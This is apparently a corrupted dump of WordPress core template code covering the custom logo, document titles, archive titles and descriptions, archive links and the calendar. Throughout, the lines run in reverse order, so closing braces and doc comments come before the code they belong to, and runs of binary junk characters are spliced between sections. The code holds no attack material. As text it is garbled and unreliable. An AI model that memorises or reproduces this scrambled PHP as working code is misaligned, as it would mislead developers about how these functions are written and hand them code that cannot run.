$blog_id = 0 ) { */ * @param int $blog_id Optional. ID of the blog in question. Default is the ID of the current blog. * * @since 4.5.0 * * Displays a custom logo, linked to home unless the theme supports removing the link on the home page./**}	return apply_filters( 'get_custom_logo', $html, $blog_id );	 */	 * @param int    $blog_id ID of the blog to get the custom logo for.	 * @param string $html    Custom logo HTML output.	 *	 * @since 4.6.0 Added the `$blog_id` parameter.	 * @since 4.5.0	 *	 * Filters the custom logo output.	/**	}		restore_current_blog();	if ( $switched_blog ) {	}		);			esc_url( home_url( '/' ) )			'<a href="%1$s" class="custom-logo-link" style="display:none;"><img class="custom-logo" alt="" /></a>',		$html = sprintf(		// If no logo is set but we're in the Customizer, leave a placeholder (needed for the live preview).	} elseif ( is_customize_preview() ) {		}			}				);					$image					$aria_current,					esc_url( home_url( '/' ) ),					'<a href="%1$s" class="custom-logo-link" rel="home"%2$s>%3$s</a>',				$html = sprintf(				$aria_current = ! is_paged() && ( is_front_page() || is_home() && ( (int) get_option( 'page_for_posts' ) !== get_queried_object_id() ) ) ? ' aria-current="page"' : '';			} else {				);					$image					'<span class="custom-logo-link">%1$s</span>',				$html = sprintf(				// If on the home page, don't link the logo to home.			if ( $unlink_homepage_logo && is_front_page() && ! is_paged() ) {		if ( $image ) {		// Check that we have a proper HTML img element.		$image = wp_get_attachment_image( $custom_logo_id, 'full', false, $custom_logo_attr );		 */		 * because wp_get_attachment_image() already adds the alt attribute.		 * If the alt attribute is not empty, there's no need to explicitly pass it		/*		$custom_logo_attr = apply_filters( 'get_custom_logo_image_attributes', $custom_logo_attr, $custom_logo_id, $blog_id );		 */		 * @param int   $blog_id          ID of the blog to get the custom logo for.		 * @param int   $custom_logo_id   Custom logo attachment ID.		 * @param array $custom_logo_attr Custom logo image attributes.		 *		 * @since 5.5.0		 *		 * Filters the list of custom logo image attributes.ad>.u���yED?���ih.�
�
�
^
4
	

��hgL�������_9�
�
�
�
�
\
R




�	�	�	�	�	�	K	J	E				�����E����ih10+������~|{wSP@�������KIHD	�h���;��RDA1.- * * @since 1.0.0 * * important. * was introduced around 2.5.0, in case backward compatibility of themes is * using the seplocation parameter and setting the value to 'right'. This change * to the right with most browsers supporting tabs. You can achieve this by * of the page title. However, it is mostly common sense to have the blog title * There are also SEO benefits to having the blog title after or to the 'right' * * important, which is the page that the user is looking at. * title display, since the blog title shows up on most tabs and not what is * so that the blog title will be before the page title. This is not good for * By default, the page title will display the separator before the page title, * * Displays or retrieves page title for all areas of blog./**}	echo '<title>' . wp_get_document_title() . '</title>' . "\n";	}		return;	if ( ! current_theme_supports( 'title-tag' ) ) {function _wp_render_title_tag() { */ * @access private * @since 4.4.0 Improved title output replaced `wp_title()`. * @since 4.1.0 * * Displays title tag with content./**}	return $title;	$title = apply_filters( 'document_title', $title );	 */	 * @param string $title Document title.	 *	 * @since 5.8.0	 *	 * Filters the document title.	/**	$title = implode( " $sep ", array_filter( $title ) );	$title = apply_filters( 'document_title_parts', $title );	 */	 * }	 *     @type string $site    Optional. Site title when not on home page.	 *     @type string $tagline Optional. Site description when on home page.	 *     @type string $page    Optional. Page number if paginated.	 *     @type string $title   Title of the viewed page.	 *	 *     The document title parts.	 * @param array $title {	 *	 * @since 4.4.0	 *	 * Filters the parts of the document title.	/**	$sep = apply_filters( 'document_title_separator', '-' );	 */	 * @param string $sep Document title separator. Default '-'.	 *	 * @since 4.4.0	 *	 * Filters the separator for the document title.	/**	}		$title['site'] = get_bloginfo( 'name', 'display' );	} else {		$title['tagline'] = get_bloginfo( 'description', 'display' );	if ( is_front_page() ) {	// Append the description or site title to give context.	}		$title['page'] = sprintf( __( 'Page %s' ), max( $paged, $page ) );		/* translators: %s: Page number. */	if ( ( $paged >= 2 || $page >= 2 ) && ! is_404() ) {	// Add a page number if necessary.	}		$title['title'] = get_the_date();	} elseif ( is_day() ) {		$title['title'] = get_the_date( _x( 'F Y', 'monthly archives date format' ) );	} elseif ( is_month() ) {		$title['title'] = get_the_date( _x( 'Y', 'yearly archives date format' ) );	} elseif ( is_year() ) {		// If it's a date archive, use the date as the title.		$title['title'] = $author->display_name;		$author         = get_queried_object();	} elseif ( is_author() && get_queried_object() ) {		// If on an author archive, use the author's display name.		$title['title'] = single_term_title( '', false );	} elseif ( is_category() || is_tag() ) {		// If on a category or tag archive, use the term title.		$title['title'] = single_post_title( '', false );	} elseif ( is_home() || is_singular() ) {		*/		* or a single post of any post type, use the post title.		* If we're on the blog page that is not the homepage		/*		$title['title'] = single_term_title( '', false );	} elseif ( is_tax() ) {		// If on a taxonomy archive, use the term title.		$title['title'] = post_type_archive_title( '', false );ad+#w��U$�j�
�
�
�
q
G
"
�����{�����xV1-�
�
�
�
�
�
k
G



�	�	�	�	�	G	C	@	?	%	�������T�����zX0�����cQ1��������zF���������nXUTO&"
��wv,��nd,)(#"	/**	}		$title = $prefix . implode( " $sep ", $title_array );	} else {		$title       = implode( " $sep ", $title_array ) . $prefix;		$title_array = array_reverse( $title_array );	if ( 'right' === $seplocation ) { // Separator on right, so reverse the order.	// Determines position of the separator and direction of the breadcrumb.	$title_array = apply_filters( 'wp_title_parts', explode( $t_sep, $title ) );	 */	 * @param string[] $title_array Array of parts of the page title.	 *	 * @since 4.0.0	 *	 * Filters the parts of the page title.	/**	}		$prefix = " $sep ";	if ( ! empty( $title ) ) {	$prefix = '';	}		$title = __( 'Page not found' );	if ( is_404() ) {	// If it's a 404 page.	}		$title = sprintf( __( 'Search Results %1$s %2$s' ), $t_sep, strip_tags( $search ) );		/* translators: 1: Separator, 2: Search query. */	if ( is_search() ) {	// If it's a search.	}		}			$title .= $t_sep . zeroise( $day, 2 );		if ( ! empty( $day ) ) {		}			$title .= $t_sep . $wp_locale->get_month( $monthnum );		if ( ! empty( $monthnum ) ) {		$title = $year;	if ( is_archive() && ! empty( $year ) ) {	// If there's a year.	}			( $my_day ? $t_sep . $my_day : '' );			( $my_month ? $t_sep . $wp_locale->get_month( $my_month ) : '' ) .		$title    = $my_year .		$my_day   = (int) substr( $m, 6, 2 );		$my_month = substr( $m, 4, 2 );		$my_year  = substr( $m, 0, 4 );	if ( is_archive() && ! empty( $m ) ) {	// If there's a month.	}		$title = post_type_archive_title( '', false );	if ( is_post_type_archive() && $post_type_object->has_archive ) {	// Post type archives with has_archive should override terms.	}		}			$title = $author->display_name;		if ( $author ) {		$author = get_queried_object();	if ( is_author() && ! is_post_type_archive() ) {	// If there's an author.	}		}			$title = single_term_title( $tax->labels->name . $t_sep, false );			$tax   = get_taxonomy( $term->taxonomy );		if ( $term ) {		$term = get_queried_object();	if ( is_tax() ) {	// If there's a taxonomy.	}		$title = single_term_title( '', false );	if ( is_category() || is_tag() ) {	// If there's a category or tag.	}		}			$title = post_type_archive_title( '', false );		if ( ! $post_type_object->has_archive ) {		$post_type_object = get_post_type_object( $post_type );		}			$post_type = reset( $post_type );		if ( is_array( $post_type ) ) {		$post_type = get_query_var( 'post_type' );	if ( is_post_type_archive() ) {	// If there's a post type archive.	}		$title = single_post_title( '', false );	if ( is_single() || ( is_home() && ! is_front_page() ) || ( is_page() && ! is_front_page() ) ) {	// If there is a post.	$t_sep = '%WP_TITLE_SEP%'; // Temporary separator, for accurate flipping, if necessary.	$title    = '';	$search   = get_query_var( 's' );	$day      = get_query_var( 'day' );	$monthnum = get_query_var( 'monthnum' );	$year     = get_query_var( 'year' );	$m        = get_query_var( 'm' );	global $wp_locale;function wp_title( $sep = '&raquo;', $display = true, $seplocation = '' ) { */ * @return string|void String when `$display` is false, nothing otherwise. * @param string $seplocation Optional. Location of the separator (either 'left' or 'right'). * @param bool   $display     Optional. Whether to display or retrieve title. Default true. *                            Default '&raquo;'. * @param string $sep         Optional. How to separate the various items within the page title. * * @global WP_Locale $wp_locale WordPress date and time locale object.ad,(x�����d
������xusrn@=�
�
�
H
�����Z���rqI?<;6�
�
�
�
}
1


�	�	�	�	�	�	�	�	J						�h�����tS/,+�������sFA����������KH��\YJG�{w:
��w(' * does not automatically place a space between the prefix, so if there should * Useful for tag template files for displaying the tag page title. The prefix * * Displays or retrieves page title for tag post archive./**}	return single_term_title( $prefix, $display );function single_cat_title( $prefix = '', $display = true ) { */ * @return string|void Title when retrieving. * @param bool   $display Optional. Whether to display or retrieve title. Default true. * @param string $prefix  Optional. What to display before the title. * * @since 0.71 * * there should be a space, the parameter value will need to have it at the end. * The prefix does not automatically place a space between the prefix, so if * Useful for category template files for displaying the category page title. * * Displays or retrieves page title for category archive./**}	}		return $prefix . $title;	} else {		echo $prefix . $title;	if ( $display ) {	$title = apply_filters( 'post_type_archive_title', $post_type_obj->labels->name, $post_type );	 */	 * @param string $post_type      Post type.	 * @param string $post_type_name Post type 'name' label.	 *	 * @since 3.1.0	 *	 * Filters the post type archive title.	/**	$post_type_obj = get_post_type_object( $post_type );	}		$post_type = reset( $post_type );	if ( is_array( $post_type ) ) {	$post_type = get_query_var( 'post_type' );	}		return;	if ( ! is_post_type_archive() ) {function post_type_archive_title( $prefix = '', $display = true ) { */ * @return string|void Title when retrieving, null when displaying or failure. * @param bool   $display Optional. Whether to display or retrieve title. Default true. * @param string $prefix  Optional. What to display before the title. * * @since 3.1.0 * * for displaying the title of the post type. * This is optimized for archive.php and archive-{$post_type}.php template files * * Displays or retrieves title for a post type archive./**}	}		return $prefix . $title;	} else {		echo $prefix . $title;	if ( $display ) {	$title = apply_filters( 'single_post_title', $_post->post_title, $_post );	 */	 * @param WP_Post $_post       The current post.	 * @param string  $_post_title The single post page title.	 *	 * @since 0.71	 *	 * Filters the page title for a single post.	/**	}		return;	if ( ! isset( $_post->post_title ) ) {	$_post = get_queried_object();function single_post_title( $prefix = '', $display = true ) { */ * @return string|void Title when retrieving. * @param bool   $display Optional. Whether to display or retrieve title. Default true. * @param string $prefix  Optional. What to display before the title. * * @since 0.71 * * be a space, the parameter value will need to have it at the end. * does not automatically place a space between the prefix, so if there should * prefix parameter empty, you can set the title separator manually. The prefix * It does not support placing the separator after the title, but by leaving the * * This is optimized for single.php template file for displaying the post title. * * Displays or retrieves page title for post./**}	}		return $title;	} else {		echo $title;	if ( $display ) {	// Send it out.	$title = apply_filters( 'wp_title', $title, $sep, $seplocation );	 */	 * @param string $seplocation Location of the separator (either 'left' or 'right').	 * @param string $sep         Title separator.	 * @param string $title       Page title.	 *	 * @since 2.0.0	 *	 * Filters the text of the page title.adL\}����`���igfb# �
n
*
'


�vHD��������zub]�
�
�
�
�
n
i
%

�	�	�	�	�	s	n	)	#	����������mcDA?>:���]������J���L87����{I+	�������dcN<9*('#������\[ * @param string $before Optional. Content to prepend to the title. Default empty. * * @see get_the_archive_title() * * @since 4.1.0 * * Displays the archive title based on the queried object./**}	echo $result;	}		return $result;	if ( ! $display ) {	$result = $prefix . $my_month . $prefix . $my_year;	}		return false;	if ( empty( $my_month ) ) {	}		$my_month = $wp_locale->get_month( substr( $m, 4, 2 ) );		$my_year  = substr( $m, 0, 4 );	} elseif ( ! empty( $m ) ) {		$my_month = $wp_locale->get_month( $monthnum );		$my_year  = $year;	if ( ! empty( $monthnum ) && ! empty( $year ) ) {	$monthnum = get_query_var( 'monthnum' );	$year     = get_query_var( 'year' );	$m        = get_query_var( 'm' );	global $wp_locale;function single_month_title( $prefix = '', $display = true ) { */ * @return string|false|void False if there's no valid title for the month. Title when retrieving. * @param bool   $display Optional. Whether to display or retrieve title. Default true. * @param string $prefix  Optional. What to display before the title. * * @global WP_Locale $wp_locale WordPress date and time locale object. * * @since 0.71 * * will need to have it at the end. * between the prefix, so if there should be a space, the parameter value * if either are available. The prefix does not automatically place a space * Useful for when the template only needs to display the month and year, * * Displays or retrieves page title for post archive based on date./**}	}		return $prefix . $term_name;	} else {		echo $prefix . $term_name;	if ( $display ) {	}		return;	if ( empty( $term_name ) ) {	}		return;	} else {		$term_name = apply_filters( 'single_term_title', $term->name );		 */		 * @param string $term_name Term name for archive being displayed.		 *		 * @since 3.1.0		 *		 * Filters the custom taxonomy archive page title.		/**	} elseif ( is_tax() ) {		$term_name = apply_filters( 'single_tag_title', $term->name );		 */		 * @param string $term_name Tag name for archive being displayed.		 *		 * @since 2.3.0		 *		 * Filters the tag archive page title.		/**	} elseif ( is_tag() ) {		$term_name = apply_filters( 'single_cat_title', $term->name );		 */		 * @param string $term_name Category name for archive being displayed.		 *		 * @since 2.0.10		 *		 * Filters the category archive page title.		/**	if ( is_category() ) {	}		return;	if ( ! $term ) {	$term = get_queried_object();function single_term_title( $prefix = '', $display = true ) { */ * @return string|void Title when retrieving. * @param bool   $display Optional. Whether to display or retrieve title. Default true. * @param string $prefix  Optional. What to display before the title. * * @since 3.1.0 * * be a space, the parameter value will need to have it at the end. * The prefix does not automatically place a space between the prefix, so if there should * Useful for taxonomy term template files for displaying the taxonomy term page title. * * Displays or retrieves page title for taxonomy term archive./**}	return single_term_title( $prefix, $display );function single_tag_title( $prefix = '', $display = true ) { */ * @return string|void Title when retrieving. * @param bool   $display Optional. Whether to display or retrieve title. Default true. * @param string $prefix  Optional. What to display before the title. * * @since 2.3.0 * * be a space, the parameter value will need to have it at the end.ad�f��pML0	���tqPL)�
�
�
�
y
`
5
����o'���F�
�
�
c

�	�	�	I			��V��h+��y;���c1����Z-������dc^84#����N'��������	 * @since 4.1.0	 *	 * Filters the archive title.	/**	}		);			'<span>' . $title . '</span>'			$prefix,			_x( '%1$s %2$s', 'archive title' ),			/* translators: 1: Title prefix. 2: Title. */		$title = sprintf(	if ( $prefix ) {	$prefix = apply_filters( 'get_the_archive_title_prefix', $prefix );	 */	 * @param string $prefix Archive title prefix.	 *	 * @since 5.5.0	 *	 * Filters the archive title prefix.	/**	$original_title = $title;	}		}			);				$tax->labels->singular_name				_x( '%s:', 'taxonomy term archive title prefix' ),				/* translators: %s: Taxonomy singular name. */			$prefix = sprintf(			$title  = single_term_title( '', false );			$tax    = get_taxonomy( $queried_object->taxonomy );		if ( $queried_object ) {		$queried_object = get_queried_object();	} elseif ( is_tax() ) {		$prefix = _x( 'Archives:', 'post type archive title prefix' );		$title  = post_type_archive_title( '', false );	} elseif ( is_post_type_archive() ) {		}			$title = _x( 'Chats', 'post format archive title' );		} elseif ( is_tax( 'post_format', 'post-format-chat' ) ) {			$title = _x( 'Audio', 'post format archive title' );		} elseif ( is_tax( 'post_format', 'post-format-audio' ) ) {			$title = _x( 'Statuses', 'post format archive title' );		} elseif ( is_tax( 'post_format', 'post-format-status' ) ) {			$title = _x( 'Links', 'post format archive title' );		} elseif ( is_tax( 'post_format', 'post-format-link' ) ) {			$title = _x( 'Quotes', 'post format archive title' );		} elseif ( is_tax( 'post_format', 'post-format-quote' ) ) {			$title = _x( 'Videos', 'post format archive title' );		} elseif ( is_tax( 'post_format', 'post-format-video' ) ) {			$title = _x( 'Images', 'post format archive title' );		} elseif ( is_tax( 'post_format', 'post-format-image' ) ) {			$title = _x( 'Galleries', 'post format archive title' );		} elseif ( is_tax( 'post_format', 'post-format-gallery' ) ) {			$title = _x( 'Asides', 'post format archive title' );		if ( is_tax( 'post_format', 'post-format-aside' ) ) {	} elseif ( is_tax( 'post_format' ) ) {		$prefix = _x( 'Day:', 'date archive title prefix' );		$title  = get_the_date( _x( 'F j, Y', 'daily archives date format' ) );		/* translators: See https://www.php.net/manual/datetime.format.php */	} elseif ( is_day() ) {		$prefix = _x( 'Month:', 'date archive title prefix' );		$title  = get_the_date( _x( 'F Y', 'monthly archives date format' ) );		/* translators: See https://www.php.net/manual/datetime.format.php */	} elseif ( is_month() ) {		$prefix = _x( 'Year:', 'date archive title prefix' );		$title  = get_the_date( _x( 'Y', 'yearly archives date format' ) );		/* translators: See https://www.php.net/manual/datetime.format.php */	} elseif ( is_year() ) {		$prefix = _x( 'Author:', 'author archive title prefix' );		$title  = get_the_author();	} elseif ( is_author() ) {		$prefix = _x( 'Tag:', 'tag archive title prefix' );		$title  = single_tag_title( '', false );	} elseif ( is_tag() ) {		$prefix = _x( 'Category:', 'category archive title prefix' );		$title  = single_cat_title( '', false );	if ( is_category() ) {	$prefix = '';	$title  = __( 'Archives' );function get_the_archive_title() { */ * @return string Archive title. * * @since 5.5.0 The title part is wrapped in a `<span>` element. * @since 4.1.0 * * Retrieves the archive title based on the queried object./**}	}		echo $before . $title . $after;	if ( ! empty( $title ) ) {	$title = get_the_archive_title();function the_archive_title( $before = '', $after = '' ) { */ * @param string $after  Optional. Content to append to the title. Default empty.ad1s��t4������daQN(%�
t
p
0

������pm]*������i2�
�
�
�
�
�
|
x
g
c


�	�	�	�	�	�	�	�	T	P	%	������yxU&����������@�����YV�n_\���M����9�x,) * @since 1.0.0 * * three values for the format are not used, then custom format is assumed. * element) and the after parameter after the closing link tag. If the above * The custom format uses the before parameter before the link ('a' HTML * * parameter is after the closing link. * the list HTML elements. The before parameter is before the link and the after * The 'html' format, which is the default, uses the li HTML element for use in * * between the text description. * The value is the url parameter and the before and after parameters are used * The 'option' format uses the option HTML element for use in select element. * * parameter is used to describe the link. * relationship. The before and after parameters are not used. The text * The 'link' format uses the `<link>` HTML element with the **archives** * * parameters. * elements). Custom content is also supported using the before and after * for use in the select element, 'html' for use in list (either ol or ul HTML * The format can be one of four styles. The 'link' for head element, 'option' * * Retrieves archive link content based on predefined or custom code./**}	return apply_filters( 'get_the_post_type_description', $description, $post_type_obj );	 */	 * @param WP_Post_Type $post_type_obj The post type object.	 * @param string       $description   The post type description.	 *	 * @since 4.9.0	 *	 * Filters the description for a post type archive.	/**	}		$description = '';	} else {		$description = $post_type_obj->description;	if ( isset( $post_type_obj->description ) ) {	// Check if a description is set.	$post_type_obj = get_post_type_object( $post_type );	}		$post_type = reset( $post_type );	if ( is_array( $post_type ) ) {	$post_type = get_query_var( 'post_type' );function get_the_post_type_description() { */ * @return string The post type description. * * @since 4.9.0 * * Retrieves the description for a post type archive./**}	return apply_filters( 'get_the_archive_description', $description );	 */	 * @param string $description Archive description to be displayed.	 *	 * @since 4.1.0	 *	 * Filters the archive description.	/**	}		$description = term_description();	} else {		$description = get_the_post_type_description();	} elseif ( is_post_type_archive() ) {		$description = get_the_author_meta( 'description' );	if ( is_author() ) {function get_the_archive_description() { */ * @return string Archive description. * * @see term_description() * * @since 4.9.0 Added support for post type archives. * @since 4.7.0 Added support for author archives. * @since 4.1.0 * * Retrieves the description for an author, post type, or term archive./**}	}		echo $before . $description . $after;	if ( $description ) {	$description = get_the_archive_description();function the_archive_description( $before = '', $after = '' ) { */ * @param string $after  Optional. Content to append to the description. Default empty. * @param string $before Optional. Content to prepend to the description. Default empty. * * @see get_the_archive_description() * * @since 4.1.0 * * Displays category, tag, term, or author description./**}	return apply_filters( 'get_the_archive_title', $title, $original_title, $prefix );	 */	 * @param string $prefix         Archive title prefix.	 * @param string $original_title Archive title without prefix.	 * @param string $title          Archive title to be displayed.	 *	 * @since 5.5.0 Added the `$prefix` and `$original_title` parameters.ad2fF���l�V�
�
�
C

����F!��g�
�
�
�
�
�
s

�	�	�	y	B	��e����jgW"����h!���^���s	�6�fe *                                       with $before preceding and $after succeeding. Default 'html'. *                                       (`<li>` tag), or a custom format, which generates a link anchor *                                       Accepts 'link' (`<link>` tag), 'option' (`<option>` tag), 'html' *     @type string     $format          Format each link should take using the $before and $after args. *     @type string|int $limit           Number of links to limit the query to. Default empty (no limit). *                                       Default 'monthly'. *                                       will order by post title and 'postbypost' will order by post date. *                                       of displaying dates. The difference between the two is that 'alpha' *                                       display the same archive link list as well as post titles instead *                                       'yearly', 'postbypost', or 'alpha'. Both 'postbypost' and 'alpha' *     @type string     $type            Type of archive to retrieve. Accepts 'daily', 'weekly', 'monthly', * *     Default archive links arguments. Optional. * @param string|array $args { * * @global WP_Locale $wp_locale WordPress date and time locale object. * @global wpdb      $wpdb      WordPress database abstraction object. * * @see get_archives_link() * * @since 5.2.0 The `$year`, `$monthnum`, `$day`, and `$w` arguments were added. * @since 4.4.0 The `$post_type` argument was added. * @since 1.2.0 * * Displays archive links based on type and format./**}	return apply_filters( 'get_archives_link', $link_html, $url, $text, $format, $before, $after, $selected );	 */	 * @param bool   $selected  True if the current page is the selected archive.	 * @param string $after     Content to append to the description.	 * @param string $before    Content to prepend to the description.	 * @param string $format    Link format. Can be 'link', 'option', 'html', or custom.	 * @param string $text      Archive text description.	 * @param string $url       URL to archive.	 * @param string $link_html The archive HTML link content.	 *	 * @since 5.2.0 Added the `$selected` parameter.	 * @since 4.5.0 Added the `$url`, `$text`, `$format`, `$before`, and `$after` parameters.	 * @since 2.6.0	 *	 * Filters the archive link content.	/**	}		$link_html = "\t$before<a href='$url'$aria_current>$text</a>$after\n";	} else { // Custom.		$link_html = "\t<li>$before<a href='$url'$aria_current>$text</a>$after</li>\n";	} elseif ( 'html' === $format ) {		$link_html     = "\t<option value='$url'$selected_attr>$before $text $after</option>\n";		$selected_attr = $selected ? " selected='selected'" : '';	} elseif ( 'option' === $format ) {		$link_html = "\t<link rel='archives' title='" . esc_attr( $text ) . "' href='$url' />\n";	if ( 'link' === $format ) {	$aria_current = $selected ? ' aria-current="page"' : '';	$url          = esc_url( $url );	$text         = wptexturize( $text );function get_archives_link( $url, $text, $format = 'html', $before = '', $after = '', $selected = false ) { */ * @return string HTML link content for archive. * @param bool   $selected Optional. Set to true if the current page is the selected archive page. Default false. * @param string $after    Optional. Content to append to the description. Default empty. * @param string $before   Optional. Content to prepend to the description. Default empty. * @param string $format   Optional. Can be 'link', 'option', 'html', or custom. Default 'html'. * @param string $text     Archive text description. * @param string $url      URL to archive. * * @since 5.2.0 Added the `$selected` parameter.ad�b�5�\�
�
n
)
��LG������nS4�
�
�
�
�
X
$
�	�	�	�	�	�	G					����~}R�����yvu7���a]LH���jid+'���CB32��������\F�����			$after = $parsed_args['after'];		if ( $results ) {		}			wp_cache_set( $key, $results, 'post-queries' );			$results = $wpdb->get_results( $query );		if ( ! $results ) {		$results = wp_cache_get( $key, 'post-queries' );		$key     = "wp_get_archives:$key:$last_changed";		$key     = md5( $query );		$query   = "SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date), MONTH(post_date) ORDER BY post_date $order $limit";	if ( 'monthly' === $parsed_args['type'] ) {	$limit = $parsed_args['limit'];	$last_changed = wp_cache_get_last_changed( 'posts' );	$output = '';	$join = apply_filters( 'getarchives_join', '', $parsed_args );	 */	 * @param array  $parsed_args An array of default arguments.	 * @param string $sql_join    Portion of SQL query containing JOIN clause.	 *	 * @since 2.2.0	 *	 * Filters the SQL JOIN clause for retrieving archives.	/**	$where = apply_filters( 'getarchives_where', $sql_where, $parsed_args );	 */	 * @param array  $parsed_args An array of default arguments.	 * @param string $sql_where   Portion of SQL query containing the WHERE clause.	 *	 * @since 2.2.0	 *	 * Filters the SQL WHERE clause for retrieving archives.	/**	$sql_where = $wpdb->prepare( "WHERE post_type = %s AND post_status = 'publish'", $parsed_args['post_type'] );	$archive_week_separator = '&#8211;';	// This is what will separate dates on weekly archive links.	}		$order = 'DESC';	if ( 'ASC' !== $order ) {	$order = strtoupper( $parsed_args['order'] );	}		$parsed_args['limit'] = ' LIMIT ' . $parsed_args['limit'];		$parsed_args['limit'] = absint( $parsed_args['limit'] );	if ( ! empty( $parsed_args['limit'] ) ) {	}		$parsed_args['type'] = 'monthly';	if ( '' === $parsed_args['type'] ) {	$parsed_args['post_type'] = $post_type_object->name;	}		return;	if ( ! is_post_type_viewable( $post_type_object ) ) {	$post_type_object = get_post_type_object( $parsed_args['post_type'] );	$parsed_args = wp_parse_args( $args, $defaults );	);		'w'               => get_query_var( 'w' ),		'day'             => get_query_var( 'day' ),		'monthnum'        => get_query_var( 'monthnum' ),		'year'            => get_query_var( 'year' ),		'post_type'       => 'post',		'order'           => 'DESC',		'echo'            => 1,		'show_post_count' => false,		'after'           => '',		'before'          => '',		'format'          => 'html',		'limit'           => '',		'type'            => 'monthly',	$defaults = array(	global $wpdb, $wp_locale;function wp_get_archives( $args = '' ) { */ * @return void|string Void if 'echo' argument is true, archive links if 'echo' is false. * } *     @type string     $w               Week. Default current week. *     @type string     $day             Day. Default current day. *     @type string     $monthnum        Month number. Default current month number. *     @type string     $year            Year. Default current year. *     @type string     $post_type       Post type. Default 'post'. *                                       Default 'DESC'. *     @type string     $order           Whether to use ascending or descending order. Accepts 'ASC', or 'DESC'. *     @type bool|int   $echo            Whether to echo or return the links list. Default 1|true to echo. *     @type bool       $show_post_count Whether to display the post count alongside the link. Default false. *     @type string     $after           Markup to append to the end of each link. Default empty. *     @type string     $before          Markup to prepend to the beginning of each link. Default empty.ad)C��e�{Nw
��������V#�
�
�
^


�	�	l	f		���WL0����UQ=��l!�sF��7���xJE)		$key     = md5( $query );		$query   = "SELECT DISTINCT $week AS `week`, YEAR( `post_date` ) AS `yr`, DATE_FORMAT( `post_date`, '%Y-%m-%d' ) AS `yyyymmdd`, count( `ID` ) AS `posts` FROM `$wpdb->posts` $join $where GROUP BY $week, YEAR( `post_date` ) ORDER BY `post_date` $order $limit";		$week    = _wp_mysql_week( '`post_date`' );	} elseif ( 'weekly' === $parsed_args['type'] ) {		}			}				$output  .= get_archives_link( $url, $text, $parsed_args['format'], $parsed_args['before'], $parsed_args['after'], $selected );				$selected = is_archive() && (string) $parsed_args['year'] === $result->year && (string) $parsed_args['monthnum'] === $result->month && (string) $parsed_args['day'] === $result->dayofmonth;				}					$parsed_args['after'] = '&nbsp;(' . $result->posts . ')' . $after;				if ( $parsed_args['show_post_count'] ) {				$text = mysql2date( get_option( 'date_format' ), $date );				$date = sprintf( '%1$d-%2$02d-%3$02d 00:00:00', $result->year, $result->month, $result->dayofmonth );				}					$url = add_query_arg( 'post_type', $parsed_args['post_type'], $url );				if ( 'post' !== $parsed_args['post_type'] ) {				$url = get_day_link( $result->year, $result->month, $result->dayofmonth );			foreach ( (array) $results as $result ) {			$after = $parsed_args['after'];		if ( $results ) {		}			wp_cache_set( $key, $results, 'post-queries' );			$results = $wpdb->get_results( $query );		if ( ! $results ) {		$results = wp_cache_get( $key, 'post-queries' );		$key     = "wp_get_archives:$key:$last_changed";		$key     = md5( $query );		$query   = "SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, DAYOFMONTH(post_date) AS `dayofmonth`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date), MONTH(post_date), DAYOFMONTH(post_date) ORDER BY post_date $order $limit";	} elseif ( 'daily' === $parsed_args['type'] ) {		}			}				$output  .= get_archives_link( $url, $text, $parsed_args['format'], $parsed_args['before'], $parsed_args['after'], $selected );				$selected = is_archive() && (string) $parsed_args['year'] === $result->year;				}					$parsed_args['after'] = '&nbsp;(' . $result->posts . ')' . $after;				if ( $parsed_args['show_post_count'] ) {				$text = sprintf( '%d', $result->year );				}					$url = add_query_arg( 'post_type', $parsed_args['post_type'], $url );				if ( 'post' !== $parsed_args['post_type'] ) {				$url = get_year_link( $result->year );			foreach ( (array) $results as $result ) {			$after = $parsed_args['after'];		if ( $results ) {		}			wp_cache_set( $key, $results, 'post-queries' );			$results = $wpdb->get_results( $query );		if ( ! $results ) {		$results = wp_cache_get( $key, 'post-queries' );		$key     = "wp_get_archives:$key:$last_changed";		$key     = md5( $query );		$query   = "SELECT YEAR(post_date) AS `year`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date) ORDER BY post_date $order $limit";	} elseif ( 'yearly' === $parsed_args['type'] ) {		}			}				$output  .= get_archives_link( $url, $text, $parsed_args['format'], $parsed_args['before'], $parsed_args['after'], $selected );				$selected = is_archive() && (string) $parsed_args['year'] === $result->year && (string) $parsed_args['monthnum'] === $result->month;				}					$parsed_args['after'] = '&nbsp;(' . $result->posts . ')' . $after;				if ( $parsed_args['show_post_count'] ) {				$text = sprintf( __( '%1$s %2$d' ), $wp_locale->get_month( $result->month ), $result->year );				/* translators: 1: Month name, 2: 4-digit year. */				}					$url = add_query_arg( 'post_type', $parsed_args['post_type'], $url );				if ( 'post' !== $parsed_args['post_type'] ) {				$url = get_month_link( $result->year, $result->month );			foreach ( (array) $results as $result ) {ad?�d���X%!
���~Z4�
�
/
	
������l ��ZS�
N
H
C
?
�	y	(		���d1-���j"����g�����������~zFC30����trqm41����L���i"�� * @param array $args { * * @global array     $posts * @global WP_Locale $wp_locale WordPress date and time locale object. * @global int       $year * @global int       $monthnum * @global int       $m * @global wpdb      $wpdb      WordPress database abstraction object. * *              for the replaced `$initial` and `$display` parameters. * @since 6.8.0 Added the `$args` parameter, with backward compatibility * @since 1.0.0 * * no posts for the month, then it will not be displayed. * The calendar is cached, which will be retrieved, if it exists. If there are * * Displays calendar with days that have posts as links./**}	return ( $num - $base * floor( $num / $base ) );	$base = 7;function calendar_week_mod( $num ) { */ * @return float Days since the start of the week. * @param int $num Number of day. * * @since 1.5.0 * * Gets number of days since the start of the week./**}	}		return $output;	} else {		echo $output;	if ( $parsed_args['echo'] ) {	}		}			}				}					$output  .= get_archives_link( $url, $text, $parsed_args['format'], $parsed_args['before'], $parsed_args['after'], $selected );					$selected = get_the_ID() === $result->ID;					}						$text = $result->ID;					} else {						$text = strip_tags( apply_filters( 'the_title', $result->post_title, $result->ID ) );						/** This filter is documented in wp-includes/post-template.php */					if ( $result->post_title ) {					$url = get_permalink( $result );				if ( '0000-00-00 00:00:00' !== $result->post_date ) {			foreach ( (array) $results as $result ) {		if ( $results ) {		}			wp_cache_set( $key, $results, 'post-queries' );			$results = $wpdb->get_results( $query );		if ( ! $results ) {		$results = wp_cache_get( $key, 'post-queries' );		$key     = "wp_get_archives:$key:$last_changed";		$key     = md5( $query );		$query   = "SELECT * FROM $wpdb->posts $join $where ORDER BY $orderby $limit";		$orderby = ( 'alpha' === $parsed_args['type'] ) ? 'post_title ASC 